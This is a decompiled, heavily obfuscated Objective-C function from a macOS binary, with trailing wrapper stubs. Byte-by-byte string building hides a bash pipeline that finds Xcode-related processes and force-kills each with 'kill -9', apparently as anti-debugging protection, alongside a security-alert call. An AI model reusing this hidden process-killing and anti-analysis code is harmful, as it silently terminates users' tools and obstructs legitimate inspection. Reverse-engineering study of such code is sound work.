id *v58; // [rsp+80h] [rbp-100h]
SEL v59; // [rsp+88h] [rbp-F8h]
id v60; // [rsp+90h] [rbp-F0h]
id v61; // [rsp+98h] [rbp-E8h]
id v62; // [rsp+A0h] [rbp-E0h]
id v63; // [rsp+A8h] [rbp-D8h]
id v64; // [rsp+B0h] [rbp-D0h]
unsigned int v65; // [rsp+BCh] [rbp-C4h]
int v66; // [rsp+C0h] [rbp-C0h]
int v67; // [rsp+C4h] [rbp-BCh] BYREF
__int64 *v68; // [rsp+C8h] [rbp-B8h]
SEL v69; // [rsp+D0h] [rbp-B0h]
id v70; // [rsp+D8h] [rbp-A8h]
id v71; // [rsp+E0h] [rbp-A0h]
id v72; // [rsp+E8h] [rbp-98h]
id v73; // [rsp+F0h] [rbp-90h]
id v74; // [rsp+F8h] [rbp-88h]
id v75; // [rsp+100h] [rbp-80h]
id v76; // [rsp+108h] [rbp-78h]
__int64 *v77; // [rsp+110h] [rbp-70h]
id v78; // [rsp+118h] [rbp-68h]
__int64 *v79; // [rsp+120h] [rbp-60h]
id v80; // [rsp+128h] [rbp-58h]
id v81; // [rsp+130h] [rbp-50h]
id v82; // [rsp+138h] [rbp-48h]
bool v83; // [rsp+142h] [rbp-3Eh]
bool v84; // [rsp+143h] [rbp-3Dh]
bool v85; // [rsp+144h] [rbp-3Ch]
bool v86; // [rsp+145h] [rbp-3Bh]
bool v87; // [rsp+146h] [rbp-3Ah]
char v88; // [rsp+147h] [rbp-39h]
int *v89; // [rsp+148h] [rbp-38h]
__int64 v90; // [rsp+150h] [rbp-30h]
v90 = -1;
v65 = -1610678273;
v67 = 42425227;
v89 = &v67;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v67 <= -243388825 )
{
if ( v67 <= -1429099347 )
{
if ( v67 <= -1783782522 )
{
if ( v67 <= -1994499639 )
{
if ( v67 <= -2037057742 )
{
if ( v67 == -2130832477 )
{
*v89 = 1935064579;
v63 = 0;
}
else if ( v67 == -2078754020 )
{
v2 = 1;
v78 = *(id *)(v46 + 8LL * (_QWORD)v64);
v3 = 788154989;
LABEL_161:
v4 = -2078754020;
goto LABEL_231;
}
}
else
{
switch ( v67 )
{
case -2037057741:
v2 = 1;
v3 = -1108064829;
v4 = 1923490993;
goto LABEL_231;
case -2035347620:
v5 = 0;
v3 = 1248507646;
v6 = 1630594245;
goto LABEL_209;
case -2035145457:
objc_msgSend(v78, v59);
*v89 = 448566429;
break;
}
}
}
else if ( v67 > -1841805136 )
{
switch ( v67 )
{
case -1841805135:
v10 = 0;
v3 = 1450159385;
v11 = 498319822;
LABEL_214:
if ( !v10 )
v3 = v11;
goto LABEL_233;
case -1837108993:
*v89 = -1209212387;
break;
case -1835212047:
v2 = 0;
v3 = -621584770;
v4 = -554075770;
goto LABEL_231;
}
}
else
{
switch ( v67 )
{
case -1994499638:
objc_msgSend(v81, v53, v76);
objc_release(v76);
objc_msgSend(v81, v54);
objc_msgSend(v81, v55);
objc_release(v81);
objc_release(v74);
*v89 = -763975178;
break;
case -1982260138:
NSLog(
CFSTR("3~\xFCWYo\x82S\xE6\xAA\x7D\xCF\x1D\xC3\x32\x16\x95\xA1\xE2\x01\xA8\xFF\xF3\x64\xBB\x70<P\"w\x1B"),
v78);
*v89 = 1542817431;
break;
case -1962830000:
objc_release(v73);
objc_release(v72);
objc_release(v71);
objc_release(v75);
objc_release(v80);
objc_release(v70);
objc_release(v48);
v5 = 0;
v3 = -1716940690;
v6 = 53464042;
goto LABEL_209;
}
}
}
else if ( v67 > -1653370743 )
{
if ( v67 > -1619370802 )
{
switch ( v67 )
{
case -1619370801:
*v89 = 121487873;
break;
case -1531977217:
v24 = objc_msgSend(v71, "readDataToEndOfFile");
v72 = objc_retainAutoreleasedReturnValue(v24);
v25 = objc_alloc((Class)&OBJC_CLASS___NSString);
v73 = objc_msgSend(v25, "initWithData:encoding:", v72, 4);
v26 = +[NSCharacterSet newlineCharacterSet](
&OBJC_CLASS___NSCharacterSet,
"newlineCharacterSet");
v27 = objc_retainAutoreleasedReturnValue(v26);
v28 = objc_msgSend(v73, "componentsSeparatedByCharactersInSet:", v27);
v82 = objc_retainAutoreleasedReturnValue(v28);
objc_release(v27);
v29 = v79;
*((_OWORD *)v79 + 3) = 0;
*((_OWORD *)v29 + 2) = 0;
*((_OWORD *)v29 + 1) = 0;
*(_OWORD *)v29 = 0;
objc_retain(v82);
v56 = "countByEnumeratingWithState:objects:count:";
v43 = objc_msgSend(v82, "countByEnumeratingWithState:objects:count:", v79, v68, 16);
v14 = v43 == 0;
v3 = -2037057741;
v15 = 49933121;
goto LABEL_197;
case -1441781483:
*v89 = 259611454;
break;
}
}
else
{
switch ( v67 )
{
case -1653370742:
*v89 = -1364515726;
break;
case -1651191459:
*v89 = -761863670;
break;
case -1644752589:
v5 = 1;
v3 = 1250230988;
v6 = -690186841;
goto LABEL_209;
}
}
}
else if ( v67 > -1716940691 )
{
switch ( v67 )
{
case -1716940690:
*v89 = 1724512850;
break;
case -1671777980:
v14 = 0;
v3 = -763975178;
v15 = -1994499638;
goto LABEL_197;
case -1668448182:
*v89 = 1273495512;
break;
}
}
else
{
switch ( v67 )
{
case -1783782521:
*v89 = 1415911524;
break;
case -1759044401:
*v89 = 892606332;
break;
case -1726995303:
v5 = 1;
v66 = dword_10029F2DC;
v3 = -1726995303;
v6 = -715678976;
goto LABEL_209;
}
}
}
else if ( v67 > -729357860 )
{
if ( v67 > -554075771 )
{
if ( v67 > -327807715 )
{
switch ( v67 )
{
case -327807714:
*v89 = -298828378;
break;
case -298828378:
v87 = v61 == 0;
v14 = 0;
v3 = -21181590;
v15 = -327807714;
goto LABEL_197;
case -290734574:
v2 = 1;
v60 = (char *)v64 + 1;
v3 = 1350814907;
v4 = -348122352;
goto LABEL_231;
}
}
else
{
switch ( v67 )
{
case -554075770:
v36 = 798662329;
if ( v87 )
v36 = 49933121;
*v89 = v36;
v62 = v61;
break;
case -490392419:
objc_release(v82);
objc_release(v82);
*v89 = -1146073171;
break;
case -348122352:
*v89 = -290734574;
break;
}
}
}
else if ( v67 > -690186842 )
{
switch ( v67 )
{
case -690186841:
dword_10029F2DC = 1;
v79 = &v42 - 8;
v68 = &v42 - 16;
v77 = &v42 - 2;
HikariFunctionWrapper_2883();
v69 = "stringWithFormat:";
v37 = HikariFunctionWrapper_2885(&OBJC_CLASS___NSString, "stringWithFormat:");
v48 = objc_retainAutoreleasedReturnValue(v37);
v38 = objc_msgSend(
&OBJC_CLASS___NSString,
v69,
CFSTR("\x06\x7F\xD4\x5B\x85\xEF\xFC\xE8\xF7\xEB\x66\xA4\xA6\xB1\xBD\xFFu\x1D\x1D\x9E\xD9\x15\xC1\x05\xA3\x9D\xB0\xB5\x86\x03\x95\xC0\xBF\xFA\xAB\xF9n\xB2\xCD\x7A\xD7\xEB\xB3\"\xF7\xF7\x36\x31\xC6\xD1֔\xAC\xE8\x41\xA6\x99\xDE\x64\xCE\x45u\x96\x92\x1E\x01\x8Fx\x1EZ\x98\x98E)\xD0\x1D\x1A-\xB1\xAE\xC3\xD7ȘLxx\xBF\xEA\xC1\xAB}\xADs\xE7\xF1\x32\xB2\\\"Fq\xF6\xBF\xDD\x64\x88+\xF5\x35\xB7\xF78\xBE\x1CÈ\xD1\x47\xD4\x4A"),
v48);
v70 = objc_retainAutoreleasedReturnValue(v38);
v39 = objc_alloc((Class)&OBJC_CLASS___NSTask);
v49 = "init";
v80 = HikariFunctionWrapper_2887(v39, "init");
v50 = "setLaunchPath:";
objc_msgSend(v80, "setLaunchPath:", CFSTR("\xFD\xB0\x88\xB4ޝ:\xB3\xFF\xB9"));
*(&v42 - 2) = (__int64)CFSTR("\x10\x81");
*(&v42 - 1) = (__int64)v70;
v51 = "arrayWithObjects:count:";
v40 = HikariFunctionWrapper_2889(&OBJC_CLASS___NSArray, "arrayWithObjects:count:");
v41 = objc_retainAutoreleasedReturnValue(v40);
v2 = 0;
v52 = v41;
v3 = -690186841;
v4 = -1135673092;
LABEL_231:
if ( !v2 )
v3 = v4;
LABEL_233:
*v89 = v3;
break;
case -621584770:
*v89 = -1835212047;
break;
case -617434381:
v5 = 1;
v44 = **v57;
v45 = v79 + 1;
v58 = (id *)(v77 + 1);
v3 = 2018871249;
v6 = 1489177331;
goto LABEL_209;
}
}
else
{
switch ( v67 )
{
case -729357859:
*v89 = 798662329;
v62 = v43;
break;
case -715678976:
*v89 = -1142940873;
break;
case -709492936:
v5 = 0;
v3 = -1835212047;
v6 = -621584770;
goto LABEL_209;
}
}
}
else if ( v67 > -1135673093 )
{
if ( v67 > -952229431 )
{
switch ( v67 )
{
case -952229430:
*v89 = -2078754020;
break;
case -763975178:
objc_msgSend(v81, v53, v76);
objc_release(v76);
HikariFunctionWrapper_2895(v81, v54);
objc_msgSend(v81, v55);
objc_release(v81);
objc_release(v74);
v10 = 0;
v3 = -1994499638;
v11 = -243388824;
goto LABEL_214;
case -761863670:
a3[8] = 100;
a3[9] = 111;
a3[10] = 32;
a3[11] = 112;
a3[12] = 114;
a3[13] = 111;
a3[14] = 99;
a3[15] = 101;
a3[16] = 115;
a3[17] = 111;
a3[18] = 32;
a3[19] = 99;
a3[20] = 111;
a3[21] = 110;
a3[22] = 32;
a3[23] = 80;
a3[24] = 73;
a3[25] = 68;
a3[26] = 58;
a3[27] = 32;
a3[28] = 37;
a3[29] = 64;
a3[30] = 0;
*v89 = -1644752589;
break;
}
}
else
{
switch ( v67 )
{
case -1135673092:
*v89 = 2143476412;
break;
case -1108064829:
v5 = 1;
v57 = (__int64 **)(v79 + 2);
v3 = 1923490993;
v6 = 449329313;
goto LABEL_209;
case -1083546376:
v10 = !v84;
v3 = 2030265643;
v11 = -1209212387;
goto LABEL_214;
}
}
}
else if ( v67 > -1209212388 )
{
switch ( v67 )
{
case -1209212387:
v46 = *v45;
*v89 = 1828612317;
break;
case -1146073171:
objc_release(v82);
objc_release(v82);
v14 = 0;
v3 = -1668448182;
v15 = -1146073171;
goto LABEL_197;
case -1142940873:
v83 = v66 == 0;
*v89 = 1332809646;
break;
}
}
else
{
switch ( v67 )
{
case -1429099346:
v35 = 1935064579;
if ( v86 )
v35 = 1021810485;
*v89 = v35;
v63 = v60;
break;
case -1364515726:
v10 = 0;
v3 = -1364515726;
v11 = -729357859;
goto LABEL_214;
case -1362793182:
*v89 = -1726995303;
break;
}
}
}
if ( v67 > 1248507645 )
break;
if ( v67 <= 311954930 )
{
if ( v67 <= 53464041 )
{
if ( v67 <= -5048183 )
{
if ( v67 == -243388824 )
{
*v89 = 742075762;
}
else if ( v67 == -21181590 )
{
*v89 = -709492936;
}
}
else
{
switch ( v67 )
{
case -5048182:
v10 = !v85;
v3 = -1982260138;
v11 = 742075762;
goto LABEL_214;
case 42425227:
v5 = v65 < 0xF25068E;
v3 = -1726995303;
v6 = -1362793182;
goto LABEL_209;
case 49933121:
v2 = 0;
v3 = -490392419;
v4 = -1146073171;
goto LABEL_231;
}
}
}
else if ( v67 > 121487872 )
{
switch ( v67 )
{
case 121487873:
v84 = **v57 == v44;
*v89 = -1083546376;
break;
case 259611454:
v2 = 0;
v3 = 259611454;
v4 = 2059538107;
goto LABEL_231;
case 307819620:
HikariFunctionWrapper_2907(v82, v56);
*v89 = 1344545720;
break;
}
}
else
{
switch ( v67 )
{
case 53464042:
objc_release(v73);
objc_release(v72);
objc_release(v71);
objc_release(v75);
objc_release(v80);
objc_release(v70);
objc_release(v48);
*v89 = -1962830000;
break;
case 55378341:
v5 = 0;
v3 = -1364515726;
v6 = -1653370742;
goto LABEL_209;
case 76649655:
v7 = objc_msgSend(&OBJC_CLASS___NSString, v69, CFSTR("E\x80&\x95ҭ\xFE\xD6\x63u\x9E"), v78);
v74 = objc_retainAutoreleasedReturnValue(v7);
v8 = objc_alloc((Class)&OBJC_CLASS___NSTask);
v81 = objc_msgSend(v8, v49);
objc_msgSend(v81, v50, CFSTR("\xFD\xB0\x88\xB4ޝ:\xB3\xFF\xB9"));
*v77 = (__int64)CFSTR("\x10\x81");
*v58 = v74;
v9 = objc_msgSend(&OBJC_CLASS___NSArray, v51, v77, 2);
v76 = objc_retainAutoreleasedReturnValue(v9);
*v89 = 2100841685;
break;
}
}
}
else if ( v67 > 788154988 )
{
if ( v67 > 892606331 )
{
switch ( v67 )
{
case 892606332:
v5 = 1;
v3 = -327807714;
v6 = -298828378;
LABEL_209:
if ( v5 )
v3 = v6;
goto LABEL_233;
case 1021810485:
v2 = 0;
v3 = 307819620;
v4 = 1344545720;
goto LABEL_231;
case 1220616740:
*v89 = 311954931;
break;
}
}
else
{
switch ( v67 )
{
case 788154989:
*v89 = 819769663;
break;
case 798662329:
v47 = v62;
v5 = 1;
v3 = 1220616740;
v6 = 311954931;
goto LABEL_209;
case 819769663:
v5 = 1;
v3 = -2035145457;
v6 = 448566429;
goto LABEL_209;
}
}
}
else if ( v67 > 498319821 )
{
switch ( v67 )
{
case 498319822:
asc_100267460[28] = v88 ^ 0xD2;
asc_100267460[29] = 32;
asc_100267460[30] = 103;
asc_100267460[31] = 114;
asc_100267460[32] = 101;
asc_100267460[33] = 112;
asc_100267460[34] = 32;
asc_100267460[35] = 124;
asc_100267460[36] = 32;
asc_100267460[37] = 103;
asc_100267460[38] = 114;
asc_100267460[39] = 101;
asc_100267460[40] = 112;
asc_100267460[41] = 32;
asc_100267460[42] = 45;
asc_100267460[43] = 118;
asc_100267460[44] = 32;
asc_100267460[45] = 47;
asc_100267460[46] = 65;
asc_100267460[47] = 112;
asc_100267460[48] = 112;
asc_100267460[49] = 108;
asc_100267460[50] = 105;
asc_100267460[51] = 99;
asc_100267460[52] = 97;
asc_100267460[53] = 116;
asc_100267460[54] = 105;
asc_100267460[55] = 111;
asc_100267460[56] = 110;
asc_100267460[57] = 115;
asc_100267460[58] = 47;
asc_100267460[59] = 88;
asc_100267460[60] = 99;
asc_100267460[61] = 111;
asc_100267460[62] = 100;
asc_100267460[63] = 101;
asc_100267460[64] = 46;
asc_100267460[65] = 97;
asc_100267460[66] = 112;
asc_100267460[67] = 112;
asc_100267460[68] = 47;
asc_100267460[69] = 67;
asc_100267460[70] = 111;
asc_100267460[71] = 110;
asc_100267460[72] = 116;
asc_100267460[73] = 101;
asc_100267460[74] = 110;
asc_100267460[75] = 116;
asc_100267460[76] = 115;
asc_100267460[77] = 47;
asc_100267460[78] = 77;
asc_100267460[79] = 97;
asc_100267460[80] = 99;
asc_100267460[81] = 79;
asc_100267460[82] = 83;
asc_100267460[83] = 47;
asc_100267460[84] = 88;
asc_100267460[85] = 99;
asc_100267460[86] = 111;
asc_100267460[87] = 100;
asc_100267460[88] = 101;
asc_100267460[89] = 32;
asc_100267460[90] = 124;
asc_100267460[91] = 32;
asc_100267460[92] = 103;
asc_100267460[93] = 114;
asc_100267460[94] = 101;
asc_100267460[95] = 112;
asc_100267460[96] = 32;
asc_100267460[97] = 45;
asc_100267460[98] = 118;
asc_100267460[99] = 32;
asc_100267460[100] = 37;
asc_100267460[101] = 64;
asc_100267460[102] = 32;
asc_100267460[103] = 124;
asc_100267460[104] = 32;
asc_100267460[105] = 97;
asc_100267460[106] = 119;
asc_100267460[107] = 107;
asc_100267460[108] = 32;
asc_100267460[109] = 39;
asc_100267460[110] = 123;
asc_100267460[111] = 112;
asc_100267460[112] = 114;
asc_100267460[113] = 105;
asc_100267460[114] = 110;
asc_100267460[115] = 116;
asc_100267460[116] = 32;
asc_100267460[117] = 36;
asc_100267460[118] = 50;
asc_100267460[119] = 125;
asc_100267460[120] = 39;
asc_100267460[121] = 0;
strcpy(asc_1002673CF, "/bin/bash");
asc_1002674DD[0] = 45;
asc_1002674DD[1] = 99;
asc_1002674DD[2] = 0;
strcpy(aE_2, "kill -9 %@");
a3[0] = 84;
a3[1] = 101;
a3[2] = 114;
a3[3] = 109;
a3[4] = 105;
a3[5] = 110;
a3[6] = 97;
v2 = 0;
a3[7] = 110;
v3 = 498319822;
v4 = -1651191459;
goto LABEL_231;
case 622990410:
v14 = 0;
v3 = -1429099346;
v15 = 1569027305;
goto LABEL_197;
case 742075762:
v14 = 0;
v3 = -290734574;
v15 = -348122352;
goto LABEL_197;
}
}
else
{
switch ( v67 )
{
case 311954931:
v2 = 1;
v59 = "length";
v3 = -2130832477;
v4 = 311954931;
goto LABEL_231;
case 448566429:
v85 = objc_msgSend(v78, v59) == 0;
v14 = 0;
v3 = -5048182;
v15 = 448566429;
goto LABEL_197;
case 449329313:
*v89 = 1526958348;
break;
}
}
}
if ( v67 > 1630594244 )
break;
if ( v67 > 1415911523 )
{
if ( v67 > 1526958347 )
{
switch ( v67 )
{
case 1526958348:
v10 = 0;
v3 = 2018871249;
v11 = -617434381;
goto LABEL_214;
case 1542817431:
v2 = 0;
v3 = 1737887395;
v4 = 76649655;
goto LABEL_231;
case 1569027305:
*v89 = 622990410;
break;
}
}
else
{
switch ( v67 )
{
case 1415911524:
v2 = 0;
v3 = 1569027305;
v4 = 622990410;
goto LABEL_231;
case 1450159385:
asc_100267460[28] = v88 ^ 0xD2;
asc_100267460[29] = 32;
asc_100267460[30] = 103;
asc_100267460[31] = 114;
asc_100267460[32] = 101;
asc_100267460[33] = 112;
asc_100267460[34] = 32;
asc_100267460[35] = 124;
asc_100267460[36] = 32;
asc_100267460[37] = 103;
asc_100267460[38] = 114;
asc_100267460[39] = 101;
asc_100267460[40] = 112;
asc_100267460[41] = 32;
asc_100267460[42] = 45;
asc_100267460[43] = 118;
asc_100267460[44] = 32;
asc_100267460[45] = 47;
asc_100267460[46] = 65;
asc_100267460[47] = 112;
asc_100267460[48] = 112;
asc_100267460[49] = 108;
asc_100267460[50] = 105;
asc_100267460[51] = 99;
asc_100267460[52] = 97;
asc_100267460[53] = 116;
asc_100267460[54] = 105;
asc_100267460[55] = 111;
asc_100267460[56] = 110;
asc_100267460[57] = 115;
asc_100267460[58] = 47;
asc_100267460[59] = 88;
asc_100267460[60] = 99;
asc_100267460[61] = 111;
asc_100267460[62] = 100;
asc_100267460[63] = 101;
asc_100267460[64] = 46;
asc_100267460[65] = 97;
asc_100267460[66] = 112;
asc_100267460[67] = 112;
asc_100267460[68] = 47;
asc_100267460[69] = 67;
asc_100267460[70] = 111;
asc_100267460[71] = 110;
asc_100267460[72] = 116;
asc_100267460[73] = 101;
asc_100267460[74] = 110;
asc_100267460[75] = 116;
asc_100267460[76] = 115;
asc_100267460[77] = 47;
asc_100267460[78] = 77;
asc_100267460[79] = 97;
asc_100267460[80] = 99;
asc_100267460[81] = 79;
asc_100267460[82] = 83;
asc_100267460[83] = 47;
asc_100267460[84] = 88;
asc_100267460[85] = 99;
asc_100267460[86] = 111;
asc_100267460[87] = 100;
asc_100267460[88] = 101;
asc_100267460[89] = 32;
asc_100267460[90] = 124;
asc_100267460[91] = 32;
asc_100267460[92] = 103;
asc_100267460[93] = 114;
asc_100267460[94] = 101;
asc_100267460[95] = 112;
asc_100267460[96] = 32;
asc_100267460[97] = 45;
asc_100267460[98] = 118;
asc_100267460[99] = 32;
asc_100267460[100] = 37;
asc_100267460[101] = 64;
asc_100267460[102] = 32;
asc_100267460[103] = 124;
asc_100267460[104] = 32;
asc_100267460[105] = 97;
asc_100267460[106] = 119;
asc_100267460[107] = 107;
asc_100267460[108] = 32;
asc_100267460[109] = 39;
asc_100267460[110] = 123;
asc_100267460[111] = 112;
asc_100267460[112] = 114;
asc_100267460[113] = 105;
asc_100267460[114] = 110;
asc_100267460[115] = 116;
asc_100267460[116] = 32;
asc_100267460[117] = 36;
asc_100267460[118] = 50;
asc_100267460[119] = 125;
asc_100267460[120] = 39;
asc_100267460[121] = 0;
strcpy(asc_1002673CF, "/bin/bash");
asc_1002674DD[0] = 45;
asc_1002674DD[1] = 99;
asc_1002674DD[2] = 0;
strcpy(aE_2, "kill -9 %@");
a3[0] = 84;
a3[1] = 101;
a3[2] = 114;
a3[3] = 109;
a3[4] = 105;
a3[5] = 110;
a3[6] = 97;
a3[7] = 110;
*v89 = 498319822;
break;
case 1489177331:
*v89 = 55378341;
break;
}
}
}
else if ( v67 > 1332809645 )
{
switch ( v67 )
{
case 1332809646:
v2 = 1;
v3 = 259611454;
v4 = -1441781483;
goto LABEL_231;
case 1344545720:
v23 = objc_msgSend(v82, v56, v79, v68, 16);
v5 = 0;
v61 = v23;
v3 = -1759044401;
v6 = 1344545720;
goto LABEL_209;
case 1350814907:
*v89 = -2035347620;
break;
}
}
else
{
switch ( v67 )
{
case 1248507646:
v86 = v60 == v47;
v14 = 0;
v3 = -1783782521;
v15 = 1248507646;
LABEL_197:
if ( v14 )
v3 = v15;
goto LABEL_233;
case 1250230988:
dword_10029F2DC = 1;
getpid();
v16 = HikariFunctionWrapper_2897(&OBJC_CLASS___NSString, "stringWithFormat:");
v17 = objc_retainAutoreleasedReturnValue(v16);
v18 = +[NSString stringWithFormat:](
&OBJC_CLASS___NSString,
"stringWithFormat:",
CFSTR("\x06\x7F\xD4\x5B\x85\xEF\xFC\xE8\xF7\xEB\x66\xA4\xA6\xB1\xBD\xFFu\x1D\x1D\x9E\xD9\x15\xC1\x05\xA3\x9D\xB0\xB5\x86\x03\x95\xC0\xBF\xFA\xAB\xF9n\xB2\xCD\x7A\xD7\xEB\xB3\"\xF7\xF7\x36\x31\xC6\xD1֔\xAC\xE8\x41\xA6\x99\xDE\x64\xCE\x45u\x96\x92\x1E\x01\x8Fx\x1EZ\x98\x98E)\xD0\x1D\x1A-\xB1\xAE\xC3\xD7ȘLxx\xBF\xEA\xC1\xAB}\xADs\xE7\xF1\x32\xB2\\\"Fq\xF6\xBF\xDD\x64\x88+\xF5\x35\xB7\xF78\xBE\x1CÈ\xD1\x47\xD4\x4A"),
v17);
v19 = objc_retainAutoreleasedReturnValue(v18);
v20 = objc_alloc((Class)&OBJC_CLASS___NSTask);
v21 = HikariFunctionWrapper_2899(v20, "init");
objc_msgSend(v21, "setLaunchPath:", CFSTR("\xFD\xB0\x88\xB4ޝ:\xB3\xFF\xB9"));
*(&v42 - 2) = (__int64)CFSTR("\x10\x81");
*(&v42 - 1) = (__int64)v19;
v22 = HikariFunctionWrapper_2901(&OBJC_CLASS___NSArray, "arrayWithObjects:count:");
objc_retainAutoreleasedReturnValue(v22);
*v89 = -690186841;
break;
case 1273495512:
v2 = 1;
v3 = -1962830000;
v4 = 53464042;
goto LABEL_231;
}
}
}
if ( v67 <= 1935064578 )
break;
if ( v67 > 2059538106 )
{
switch ( v67 )
{
case 2059538107:
v10 = !v83;
v3 = -1644752589;
v11 = 1712347119;
goto LABEL_214;
case 2100841685:
*v89 = -1671777980;
break;
case 2143476412:
v53 = "setArguments:";
objc_msgSend(v80, "setArguments:", v52);
objc_release(v52);
v12 = HikariFunctionWrapper_2891(&OBJC_CLASS___NSPipe, "pipe");
v75 = objc_retainAutoreleasedReturnValue(v12);
objc_msgSend(v80, "setStandardOutput:", v75);
objc_msgSend(v80, "setStandardError:", v75);
v54 = "launch";
objc_msgSend(v80, "launch");
v55 = "waitUntilExit";
objc_msgSend(v80, "waitUntilExit");
v13 = objc_msgSend(v75, "fileHandleForReading");
v71 = objc_retainAutoreleasedReturnValue(v13);
*v89 = -1531977217;
break;
}
}
else
{
switch ( v67 )
{
case 1935064579:
v64 = v63;
v2 = 1;
v3 = 121487873;
v4 = -1619370801;
goto LABEL_231;
case 2018871249:
*v89 = -617434381;
break;
case 2030265643:
HikariFunctionWrapper_2893(v82);
*v89 = -1837108993;
break;
}
}
}
if ( v67 <= 1737887394 )
break;
switch ( v67 )
{
case 1737887395:
v30 = HikariFunctionWrapper_2903(&OBJC_CLASS___NSString, v69);
v31 = objc_retainAutoreleasedReturnValue(v30);
v32 = objc_alloc((Class)&OBJC_CLASS___NSTask);
v33 = objc_msgSend(v32, v49);
HikariFunctionWrapper_2905(v33, v50);
*v77 = (__int64)CFSTR("\x10\x81");
*v58 = v31;
v34 = objc_msgSend(&OBJC_CLASS___NSArray, v51, v77, 2);
objc_retainAutoreleasedReturnValue(v34);
*v89 = 76649655;
break;
case 1828612317:
v2 = 0;
v3 = -952229430;
goto LABEL_161;
case 1923490993:
*v89 = -1108064829;
break;
}
}
if ( v67 != 1630594245 )
break;
*v89 = 1248507646;
}
if ( v67 != 1712347119 )
break;
asc_1002674E3[0] = 37;
asc_1002674E3[1] = 100;
asc_1002674E3[2] = 0;
qmemcpy(asc_100267460, "ps aux | grep Xcode | grep -", 28);
v88 = -92;
*v89 = -1841805135;
}
}
while ( v67 != 1724512850 );
}
// 100267510: using guessed type __CFString cfstr_E_2;
// 1002675D0: using guessed type __CFString stru_1002675D0;
// 100267610: using guessed type __CFString stru_100267610;
// 100267650: using guessed type __CFString stru_100267650;
// 10029F2DC: using guessed type int dword_10029F2DC;
//----- (00000001000540F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_4(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100054100) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2619(void *a1, const char *a2)
{
return HikariFunctionWrapper_4(a1, a2);
}
//----- (0000000100054110) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2620(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100054120) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2621(void *a1, const char *a2)
{
HikariFunctionWrapper_2620(a1, a2);
}
//----- (0000000100054130) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2622(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100054140) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2623(void *a1, const char *a2)
{
return HikariFunctionWrapper_2622(a1, a2);
}
//----- (0000000100054150) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2624(void *a1, void *a2)
{
sendSecurityAlert(a1, a2);
}
//----- (0000000100054160) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2625(void *a1, void *a2)
{
HikariFunctionWrapper_2624(a1, a2);
}
//----- (0000000100054170) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2626(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100054180) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2627(void *a1, const char *a2)
{
return HikariFunctionWrapper_2626(a1, a2);
}
//----- (0000000100054190) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2628(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000541A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2629(void *a1, const char *a2)
{
return HikariFunctionWrapper_2628(a1, a2);
}
//----- (00000001000541B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2630(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000541C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2631(void *a1, const char *a2)
{
HikariFunctionWrapper_2630(a1, a2);
}
//----- (00000001000541D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2632(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000541E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2633(void *a1, const char *a2)
{
HikariFunctionWrapper_2632(a1, a2);
}
//----- (00000001000541F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2634(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100054200) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2635(void *a1, const char *a2)
{
HikariFunctionWrapper_2634(a1, a2);
}
//----- (0000000100054210) ----------------------------------------------------
pid_t HikariFunctionWrapper_2636()
{
return getpid();
}
//----- (0000000100054220) ----------------------------------------------------
pid_t HikariFunctionWrapper_2637()
{
return HikariFunctionWrapper_2636();
}
//----- (0000000100054230) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2638(FILE *a1)
{
return fflush(a1);
}
//----- (0000000100054240) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2639(FILE *a1)
{
return HikariFunctionWrapper_2638(a1);
}
//----- (0000000100054250) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2640(void *a1)
{
return objc_begin_catch(a1);
}
//----- (0000000100054260) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2641(void *a1)
{
return HikariFunctionWrapper_2640(a1);
}
//----- (0000000100054270) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2642(void *a1)
{
return objc_begin_catch(a1);
}
//----- (0000000100054280) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2643(void *a1)
{
return HikariFunctionWrapper_2642(a1);
}
//----- (0000000100054290) ----------------------------------------------------
pid_t HikariFunctionWrapper_2644()
{
return getpid();
}
//----- (00000001000542A0) ----------------------------------------------------
pid_t HikariFunctionWrapper_2645()
{
return HikariFunctionWrapper_2644();
}
//----- (00000001000542B0) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2646(const char *a1, int a2)
{
return open(a1, a2);
}
